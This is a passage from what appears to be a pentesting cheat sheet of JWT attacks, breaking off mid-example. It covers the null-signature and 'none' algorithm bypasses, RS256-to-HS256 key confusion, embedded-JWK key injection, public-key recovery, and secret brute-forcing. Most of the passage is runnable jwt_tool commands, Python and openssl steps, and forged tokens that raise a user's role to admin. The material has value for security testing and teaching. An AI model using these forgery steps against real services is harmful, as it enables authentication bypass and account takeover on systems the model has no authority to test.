<h3 id="jwt-signature-null-signature-attack-cve-2020-28042">JWT Signature - Null Signature Attack (CVE-2020-28042)</h3>
|
|||
|
<p>Send a JWT with HS256 algorithm without a signature like <code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.</code></p>
|
|||
|
<p><strong>Exploit</strong>:
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="n">python3</span> <span class="n">jwt_tool</span><span class="p">.</span><span class="n">py</span> <span class="n">JWT_HERE</span> <span class="n">-X</span> <span class="n">n</span>
|
|||
|
</code></pre></div></p>
|
|||
|
<p><strong>Deconstructed</strong>:
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="p">{</span><span class="nt">"alg"</span><span class="p">:</span><span class="s2">"HS256"</span><span class="p">,</span><span class="nt">"typ"</span><span class="p">:</span><span class="s2">"JWT"</span><span class="p">}</span><span class="err">.</span>
|
|||
|
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="p">{</span><span class="nt">"sub"</span><span class="p">:</span><span class="s2">"1234567890"</span><span class="p">,</span><span class="nt">"name"</span><span class="p">:</span><span class="s2">"John Doe"</span><span class="p">,</span><span class="nt">"iat"</span><span class="p">:</span><span class="mi">1516239022</span><span class="p">}</span>
|
|||
|
</code></pre></div></p>
|
|||
|
<h3 id="jwt-signature-disclosure-of-a-correct-signature-cve-2019-7644">JWT Signature - Disclosure of a correct signature (CVE-2019-7644)</h3>
|
|||
|
<p>Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one.</p>
|
|||
|
<ul>
|
|||
|
<li><a href="https://github.com/jwt-dotnet/jwt/issues/61">jwt-dotnet/jwt: Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61</a></li>
|
|||
|
<li><a href="https://auth0.com/docs/secure/security-guidance/security-bulletins/cve-2019-7644">CVE-2019-7644: Security Vulnerability in Auth0-WCF-Service-JWT</a></li>
|
|||
|
</ul>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="n">Invalid</span> <span class="n">signature</span><span class="p">.</span> <span class="n">Expected</span> <span class="n">SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c</span> <span class="n">got</span> <span class="n">9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs</span>
|
|||
|
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a><span class="n">Invalid</span> <span class="n">signature</span><span class="p">.</span> <span class="n">Expected</span> <span class="n">8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y</span><span class="p">=</span> <span class="n">got</span> <span class="n">8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo</span><span class="p">=</span>
|
|||
|
</code></pre></div>
|
|||
|
<h3 id="jwt-signature-none-algorithm-cve-2015-9235">JWT Signature - None Algorithm (CVE-2015-9235)</h3>
|
|||
|
<p>JWT supports a <code>None</code> algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.</p>
|
|||
|
<p>None algorithm variants:
|
|||
|
* <code>none</code>
|
|||
|
* <code>None</code>
|
|||
|
* <code>NONE</code>
|
|||
|
* <code>nOnE</code></p>
|
|||
|
<p>To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you <strong>remove</strong> the signature</p>
|
|||
|
<p>Alternatively you can modify an existing JWT (be careful with the expiration time)</p>
|
|||
|
<ul>
|
|||
|
<li>
|
|||
|
<p>Using <a href="https://github.com/ticarpi/jwt_tool">ticarpi/jwt_tool</a>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="n">python3</span> <span class="n">jwt_tool</span><span class="p">.</span><span class="n">py</span> <span class="no">[JWT_HERE]</span> <span class="n">-X</span> <span class="n">a</span>
|
|||
|
</code></pre></div></p>
|
|||
|
</li>
|
|||
|
<li>
|
|||
|
<p>Manually editing the JWT
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="kn">import</span> <span class="nn">jwt</span>
|
|||
|
<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a>
|
|||
|
<a id="__codelineno-7-3" name="__codelineno-7-3" href="#__codelineno-7-3"></a><span class="n">jwtToken</span> <span class="o">=</span> <span class="s1">'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'</span>
|
|||
|
<a id="__codelineno-7-4" name="__codelineno-7-4" href="#__codelineno-7-4"></a><span class="n">decodedToken</span> <span class="o">=</span> <span class="n">jwt</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="n">jwtToken</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
|
|||
|
<a id="__codelineno-7-5" name="__codelineno-7-5" href="#__codelineno-7-5"></a>
|
|||
|
<a id="__codelineno-7-6" name="__codelineno-7-6" href="#__codelineno-7-6"></a><span class="c1"># decode the token before encoding with type 'None'</span>
|
|||
|
<a id="__codelineno-7-7" name="__codelineno-7-7" href="#__codelineno-7-7"></a><span class="n">noneEncoded</span> <span class="o">=</span> <span class="n">jwt</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="n">decodedToken</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="s1">''</span><span class="p">,</span> <span class="n">algorithm</span><span class="o">=</span><span class="kc">None</span><span class="p">)</span>
|
|||
|
<a id="__codelineno-7-8" name="__codelineno-7-8" href="#__codelineno-7-8"></a>
|
|||
|
<a id="__codelineno-7-9" name="__codelineno-7-9" href="#__codelineno-7-9"></a><span class="nb">print</span><span class="p">(</span><span class="n">noneEncoded</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
|
|||
|
</code></pre></div></p>
|
|||
|
</li>
|
|||
|
</ul>
|
|||
|
<h3 id="jwt-signature-key-confusion-attack-rs256-to-hs256-cve-2016-5431">JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)</h3>
|
|||
|
<p>If a server’s code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature.</p>
|
|||
|
<p>Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data. When the applications use the same RSA key pair as their TLS web server: <code>openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout</code></p>
|
|||
|
<blockquote>
|
|||
|
<p>The algorithm <strong>HS256</strong> uses the secret key to sign and verify each message.
|
|||
|
The algorithm <strong>RS256</strong> uses the private key to sign the message and uses the public key for authentication.</p>
|
|||
|
</blockquote>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="kn">import</span> <span class="nn">jwt</span>
|
|||
|
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="n">public</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'public.pem'</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
|
|||
|
<a id="__codelineno-8-3" name="__codelineno-8-3" href="#__codelineno-8-3"></a><span class="nb">print</span> <span class="n">public</span>
|
|||
|
<a id="__codelineno-8-4" name="__codelineno-8-4" href="#__codelineno-8-4"></a><span class="nb">print</span> <span class="n">jwt</span><span class="o">.</span><span class="n">encode</span><span class="p">({</span><span class="s2">"data"</span><span class="p">:</span><span class="s2">"test"</span><span class="p">},</span> <span class="n">key</span><span class="o">=</span><span class="n">public</span><span class="p">,</span> <span class="n">algorithm</span><span class="o">=</span><span class="s1">'HS256'</span><span class="p">)</span>
|
|||
|
</code></pre></div>
|
|||
|
<p><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.1.0/assets/svg/26a0.svg" title=":warning:" /> This behavior is fixed in the python library and will return this error <code>jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.</code>. You need to install the following version: <code>pip install pyjwt==0.4.3</code>.</p>
|
|||
|
<ul>
|
|||
|
<li>Using <a href="https://github.com/ticarpi/jwt_tool">ticarpi/jwt_tool</a>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="n">python3</span> <span class="n">jwt_tool</span><span class="p">.</span><span class="n">py</span> <span class="n">JWT_HERE</span> <span class="n">-X</span> <span class="n">k</span> <span class="n">-pk</span> <span class="n">my_public</span><span class="p">.</span><span class="n">pem</span>
|
|||
|
</code></pre></div></li>
|
|||
|
<li>
|
|||
|
<p>Using <a href="https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd">portswigger/JWT Editor</a></p>
|
|||
|
<ol>
|
|||
|
<li>Find the public key, usually in <code>/jwks.json</code> or <code>/.well-known/jwks.json</code></li>
|
|||
|
<li>Load it in the JWT Editor Keys tab, click <code>New RSA Key</code>.</li>
|
|||
|
<li>. In the dialog, paste the JWK that you obtained earlier: <code>{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}</code></li>
|
|||
|
<li>Select the PEM radio button and copy the resulting PEM key.</li>
|
|||
|
<li>Go to the Decoder tab and Base64-encode the PEM.</li>
|
|||
|
<li>Go back to the JWT Editor Keys tab and generate a <code>New Symmetric Key</code> in JWK format.</li>
|
|||
|
<li>Replace the generated value for the k parameter with a Base64-encoded PEM key that you just copied.</li>
|
|||
|
<li>Edit the JWT token alg to <code>HS256</code> and the data.</li>
|
|||
|
<li>Click <code>Sign</code> and keep the option: <code>Don't modify header</code></li>
|
|||
|
</ol>
|
|||
|
</li>
|
|||
|
<li>
|
|||
|
<p>Manually using the following steps to edit an RS256 JWT token into an HS256</p>
|
|||
|
<ol>
|
|||
|
<li>
|
|||
|
<p>Convert our public key (key.pem) into HEX with this command.</p>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="p">$</span> <span class="nb">cat </span><span class="n">key</span><span class="p">.</span><span class="n">pem</span> <span class="p">|</span> <span class="n">xxd</span> <span class="n">-p</span> <span class="p">|</span> <span class="n">tr</span> <span class="n">-d</span> <span class="s2">"\\n"</span>
|
|||
|
<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a><span class="n">2d2d2d2d2d424547494e20505</span><span class="no">[STRIPPED]</span><span class="n">592d2d2d2d2d0a</span>
|
|||
|
</code></pre></div>
|
|||
|
</li>
|
|||
|
<li>
|
|||
|
<p>Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.</p>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="p">$</span> <span class="nb">echo </span><span class="n">-n</span> <span class="s2">"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ"</span> <span class="p">|</span> <span class="n">openssl</span> <span class="n">dgst</span> <span class="n">-sha256</span> <span class="n">-mac</span> <span class="n">HMAC</span> <span class="n">-macopt</span> <span class="n">hexkey</span><span class="p">:</span><span class="n">2d2d2d2d2d424547494e20505</span><span class="no">[STRIPPED]</span><span class="n">592d2d2d2d2d0a</span>
|
|||
|
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a>
|
|||
|
<a id="__codelineno-11-3" name="__codelineno-11-3" href="#__codelineno-11-3"></a><span class="p">(</span><span class="n">stdin</span><span class="p">)=</span> <span class="n">8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0</span>
|
|||
|
</code></pre></div>
|
|||
|
</li>
|
|||
|
<li>
|
|||
|
<p>Convert signature (Hex to "base64 URL")</p>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="p">$</span> <span class="n">python2</span> <span class="n">-c</span> <span class="s2">"exec(\"</span><span class="n">import</span> <span class="n">base64</span><span class="p">,</span> <span class="n">binascii</span><span class="p">\</span><span class="n">nprint</span> <span class="n">base64</span><span class="p">.</span><span class="n">urlsafe_b64encode</span><span class="p">(</span><span class="n">binascii</span><span class="p">.</span><span class="n">a2b_hex</span><span class="p">(</span><span class="s1">'8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0'</span><span class="p">)).</span><span class="n">replace</span><span class="p">(</span><span class="s1">'='</span><span class="p">,</span><span class="s1">''</span><span class="p">)\</span><span class="s2">")"</span>
|
|||
|
</code></pre></div>
|
|||
|
</li>
|
|||
|
<li>
|
|||
|
<p>Add signature to edited payload</p>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="no">[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]</span>
|
|||
|
<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="n">eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9</span><span class="p">.</span><span class="n">eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ</span><span class="p">.</span><span class="n">j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA</span>
|
|||
|
</code></pre></div>
|
|||
|
</li>
|
|||
|
</ol>
|
|||
|
</li>
|
|||
|
</ul>
|
|||
|
<h3 id="jwt-signature-key-injection-attack-cve-2018-0114">JWT Signature - Key Injection Attack (CVE-2018-0114)</h3>
|
|||
|
<blockquote>
|
|||
|
<p>A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.</p>
|
|||
|
</blockquote>
|
|||
|
<p><strong>Exploit</strong>:</p>
|
|||
|
<ul>
|
|||
|
<li>
|
|||
|
<p>Using <a href="https://github.com/ticarpi/jwt_tool">ticarpi/jwt_tool</a></p>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="n">python3</span> <span class="n">jwt_tool</span><span class="p">.</span><span class="n">py</span> <span class="no">[JWT_HERE]</span> <span class="n">-X</span> <span class="n">i</span>
|
|||
|
</code></pre></div>
|
|||
|
</li>
|
|||
|
<li>
|
|||
|
<p>Using <a href="https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd">portswigger/JWT Editor</a></p>
|
|||
|
<ol>
|
|||
|
<li>Add a <code>New RSA key</code></li>
|
|||
|
<li>In the JWT's Repeater tab, edit data</li>
|
|||
|
<li><code>Attack</code> > <code>Embedded JWK</code></li>
|
|||
|
</ol>
|
|||
|
</li>
|
|||
|
</ul>
|
|||
|
<p><strong>Deconstructed</strong>:</p>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="p">{</span>
|
|||
|
<a id="__codelineno-15-2" name="__codelineno-15-2" href="#__codelineno-15-2"></a><span class="w"> </span><span class="nt">"alg"</span><span class="p">:</span><span class="w"> </span><span class="s2">"RS256"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-15-3" name="__codelineno-15-3" href="#__codelineno-15-3"></a><span class="w"> </span><span class="nt">"typ"</span><span class="p">:</span><span class="w"> </span><span class="s2">"JWT"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-15-4" name="__codelineno-15-4" href="#__codelineno-15-4"></a><span class="w"> </span><span class="nt">"jwk"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
|
|||
|
<a id="__codelineno-15-5" name="__codelineno-15-5" href="#__codelineno-15-5"></a><span class="w"> </span><span class="nt">"kty"</span><span class="p">:</span><span class="w"> </span><span class="s2">"RSA"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-15-6" name="__codelineno-15-6" href="#__codelineno-15-6"></a><span class="w"> </span><span class="nt">"kid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"jwt_tool"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-15-7" name="__codelineno-15-7" href="#__codelineno-15-7"></a><span class="w"> </span><span class="nt">"use"</span><span class="p">:</span><span class="w"> </span><span class="s2">"sig"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-15-8" name="__codelineno-15-8" href="#__codelineno-15-8"></a><span class="w"> </span><span class="nt">"e"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AQAB"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-15-9" name="__codelineno-15-9" href="#__codelineno-15-9"></a><span class="w"> </span><span class="nt">"n"</span><span class="p">:</span><span class="w"> </span><span class="s2">"uKBGiwYqpqPzbK6_fyEp71H3oWqYXnGJk9TG3y9K_uYhlGkJHmMSkm78PWSiZzVh7Zj0SFJuNFtGcuyQ9VoZ3m3AGJ6pJ5PiUDDHLbtyZ9xgJHPdI_gkGTmT02Rfu9MifP-xz2ZRvvgsWzTPkiPn-_cFHKtzQ4b8T3w1vswTaIS8bjgQ2GBqp0hHzTBGN26zIU08WClQ1Gq4LsKgNKTjdYLsf0e9tdDt8Pe5-KKWjmnlhekzp_nnb4C2DMpEc1iVDmdHV2_DOpf-kH_1nyuCS9_MnJptF1NDtL_lLUyjyWiLzvLYUshAyAW6KORpGvo2wJa2SlzVtzVPmfgGW7Chpw"</span>
|
|||
|
<a id="__codelineno-15-10" name="__codelineno-15-10" href="#__codelineno-15-10"></a><span class="w"> </span><span class="p">}</span>
|
|||
|
<a id="__codelineno-15-11" name="__codelineno-15-11" href="#__codelineno-15-11"></a><span class="p">}</span><span class="err">.</span>
|
|||
|
<a id="__codelineno-15-12" name="__codelineno-15-12" href="#__codelineno-15-12"></a><span class="p">{</span><span class="nt">"login"</span><span class="p">:</span><span class="s2">"admin"</span><span class="p">}</span><span class="err">.</span>
|
|||
|
<a id="__codelineno-15-13" name="__codelineno-15-13" href="#__codelineno-15-13"></a><span class="p">[</span><span class="err">Sig</span><span class="kc">ne</span><span class="err">d</span><span class="w"> </span><span class="err">wi</span><span class="kc">t</span><span class="err">h</span><span class="w"> </span><span class="kc">ne</span><span class="err">w</span><span class="w"> </span><span class="err">Priva</span><span class="kc">te</span><span class="w"> </span><span class="err">key;</span><span class="w"> </span><span class="err">Public</span><span class="w"> </span><span class="err">key</span><span class="w"> </span><span class="err">i</span><span class="kc">n</span><span class="err">jec</span><span class="kc">te</span><span class="err">d</span><span class="p">]</span>
|
|||
|
</code></pre></div>
|
|||
|
<h3 id="jwt-signature-recover-public-key-from-signed-jwts">JWT Signature - Recover Public Key From Signed JWTs</h3>
|
|||
|
<p>The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures. </p>
|
|||
|
<p><a href="https://github.com/SecuraBV/jws2pubkey">SecuraBV/jws2pubkey</a>: compute an RSA public key from two signed JWTs</p>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="p">$</span> <span class="n">docker</span> <span class="n">run</span> <span class="n">-it</span> <span class="n">ttervoort</span><span class="p">/</span><span class="n">jws2pubkey</span> <span class="n">JWS1</span> <span class="n">JWS2</span>
|
|||
|
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a><span class="p">$</span> <span class="n">docker</span> <span class="n">run</span> <span class="n">-it</span> <span class="n">ttervoort</span><span class="p">/</span><span class="n">jws2pubkey</span> <span class="s2">"</span><span class="p">$(</span><span class="nb">cat </span><span class="n">sample-jws</span><span class="p">/</span><span class="n">sample1</span><span class="p">.</span><span class="n">txt</span><span class="p">)</span><span class="s2">"</span> <span class="s2">"</span><span class="p">$(</span><span class="nb">cat </span><span class="n">sample-jws</span><span class="p">/</span><span class="n">sample2</span><span class="p">.</span><span class="n">txt</span><span class="p">)</span><span class="s2">"</span> <span class="p">|</span> <span class="nb">tee </span><span class="n">pubkey</span><span class="p">.</span><span class="n">jwk</span>
|
|||
|
<a id="__codelineno-16-3" name="__codelineno-16-3" href="#__codelineno-16-3"></a><span class="n">Computing</span> <span class="n">public</span> <span class="n">key</span><span class="p">.</span> <span class="n">This</span> <span class="n">may</span> <span class="n">take</span> <span class="n">a</span> <span class="n">minute</span><span class="p">...</span>
|
|||
|
<a id="__codelineno-16-4" name="__codelineno-16-4" href="#__codelineno-16-4"></a><span class="p">{</span><span class="s2">"kty"</span><span class="p">:</span> <span class="s2">"RSA"</span><span class="p">,</span> <span class="s2">"n"</span><span class="p">:</span> <span class="s2">"sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ"</span><span class="p">,</span> <span class="s2">"e"</span><span class="p">:</span> <span class="s2">"AQAB"</span><span class="p">}</span>
|
|||
|
</code></pre></div>
|
|||
|
<h2 id="jwt-secret">JWT Secret</h2>
|
|||
|
<blockquote>
|
|||
|
<p>To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.</p>
|
|||
|
</blockquote>
|
|||
|
<h3 id="encode-and-decode-jwt-with-the-secret">Encode and Decode JWT with the secret</h3>
|
|||
|
<ul>
|
|||
|
<li>Using <a href="https://github.com/ticarpi/jwt_tool">ticarpi/jwt_tool</a>:
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="n">jwt_tool</span><span class="p">.</span><span class="n">py</span> <span class="n">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</span><span class="p">.</span><span class="n">eyJuYW1lIjoiSm9obiBEb2UifQ</span><span class="p">.</span><span class="n">xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds</span>
|
|||
|
<a id="__codelineno-17-2" name="__codelineno-17-2" href="#__codelineno-17-2"></a><span class="n">jwt_tool</span><span class="p">.</span><span class="n">py</span> <span class="n">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</span><span class="p">.</span><span class="n">eyJuYW1lIjoiSm9obiBEb2UifQ</span><span class="p">.</span><span class="n">xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds</span> <span class="n">-T</span>
|
|||
|
<a id="__codelineno-17-3" name="__codelineno-17-3" href="#__codelineno-17-3"></a>
|
|||
|
<a id="__codelineno-17-4" name="__codelineno-17-4" href="#__codelineno-17-4"></a><span class="n">Token</span> <span class="n">header</span> <span class="n">values</span><span class="p">:</span>
|
|||
|
<a id="__codelineno-17-5" name="__codelineno-17-5" href="#__codelineno-17-5"></a><span class="p">[+]</span> <span class="n">alg</span> <span class="p">=</span> <span class="s2">"HS256"</span>
|
|||
|
<a id="__codelineno-17-6" name="__codelineno-17-6" href="#__codelineno-17-6"></a><span class="p">[+]</span> <span class="n">typ</span> <span class="p">=</span> <span class="s2">"JWT"</span>
|
|||
|
<a id="__codelineno-17-7" name="__codelineno-17-7" href="#__codelineno-17-7"></a>
|
|||
|
<a id="__codelineno-17-8" name="__codelineno-17-8" href="#__codelineno-17-8"></a><span class="n">Token</span> <span class="n">payload</span> <span class="n">values</span><span class="p">:</span>
|
|||
|
<a id="__codelineno-17-9" name="__codelineno-17-9" href="#__codelineno-17-9"></a><span class="p">[+]</span> <span class="n">name</span> <span class="p">=</span> <span class="s2">"John Doe"</span>
|
|||
|
</code></pre></div></li>
|
|||
|
<li>Using <a href="https://pyjwt.readthedocs.io/en/stable/">pyjwt</a>: <code>pip install pyjwt</code>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="kn">import</span> <span class="nn">jwt</span>
|
|||
|
<a id="__codelineno-18-2" name="__codelineno-18-2" href="#__codelineno-18-2"></a><span class="n">encoded</span> <span class="o">=</span> <span class="n">jwt</span><span class="o">.</span><span class="n">encode</span><span class="p">({</span><span class="s1">'some'</span><span class="p">:</span> <span class="s1">'payload'</span><span class="p">},</span> <span class="s1">'secret'</span><span class="p">,</span> <span class="n">algorithm</span><span class="o">=</span><span class="s1">'HS256'</span><span class="p">)</span>
|
|||
|
<a id="__codelineno-18-3" name="__codelineno-18-3" href="#__codelineno-18-3"></a><span class="n">jwt</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="n">encoded</span><span class="p">,</span> <span class="s1">'secret'</span><span class="p">,</span> <span class="n">algorithms</span><span class="o">=</span><span class="p">[</span><span class="s1">'HS256'</span><span class="p">])</span>
|
|||
|
</code></pre></div></li>
|
|||
|
</ul>
|
|||
|
<h3 id="break-jwt-secret">Break JWT secret</h3>
|
|||
|
<p>Useful list of 3502 public-available JWT: <a href="https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list">wallarm/jwt-secrets/jwt.secrets.list</a>, including <code>your_jwt_secret</code>, <code>change_this_super_secret_random_string</code>, etc.</p>
|
|||
|
<h4 id="jwt-tool">JWT tool</h4>
|
|||
|
<p>First, bruteforce the "secret" key used to compute the signature using <a href="https://github.com/ticarpi/jwt_tool">ticarpi/jwt_tool</a></p>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="n">python3</span> <span class="n">-m</span> <span class="n">pip</span> <span class="n">install</span> <span class="n">termcolor</span> <span class="n">cprint</span> <span class="n">pycryptodomex</span> <span class="n">requests</span>
|
|||
|
<a id="__codelineno-19-2" name="__codelineno-19-2" href="#__codelineno-19-2"></a><span class="n">python3</span> <span class="n">jwt_tool</span><span class="p">.</span><span class="n">py</span> <span class="n">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</span><span class="p">.</span><span class="n">eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9</span><span class="p">.</span><span class="n">1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI</span> <span class="n">-d</span> <span class="p">/</span><span class="n">tmp</span><span class="p">/</span><span class="n">wordlist</span> <span class="n">-C</span>
|
|||
|
</code></pre></div>
|
|||
|
<p>Then edit the field inside the JSON Web Token.</p>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="n">Current</span> <span class="n">value</span> <span class="n">of</span> <span class="n">role</span> <span class="n">is</span><span class="p">:</span> <span class="n">user</span>
|
|||
|
<a id="__codelineno-20-2" name="__codelineno-20-2" href="#__codelineno-20-2"></a><span class="n">Please</span> <span class="n">enter</span> <span class="n">new</span> <span class="n">value</span> <span class="n">and</span> <span class="n">hit</span> <span class="n">ENTER</span>
|
|||
|
<a id="__codelineno-20-3" name="__codelineno-20-3" href="#__codelineno-20-3"></a><span class="p">></span> <span class="n">admin</span>
|
|||
|
<a id="__codelineno-20-4" name="__codelineno-20-4" href="#__codelineno-20-4"></a><span class="p">[</span><span class="n">1</span><span class="p">]</span> <span class="n">sub</span> <span class="p">=</span> <span class="n">1234567890</span>
|
|||
|
<a id="__codelineno-20-5" name="__codelineno-20-5" href="#__codelineno-20-5"></a><span class="p">[</span><span class="n">2</span><span class="p">]</span> <span class="n">role</span> <span class="p">=</span> <span class="n">admin</span>
|
|||
|
<a id="__codelineno-20-6" name="__codelineno-20-6" href="#__codelineno-20-6"></a><span class="p">[</span><span class="n">3</span><span class="p">]</span> <span class="n">iat</span> <span class="p">=</span> <span class="n">1516239022</span>
|
|||
|
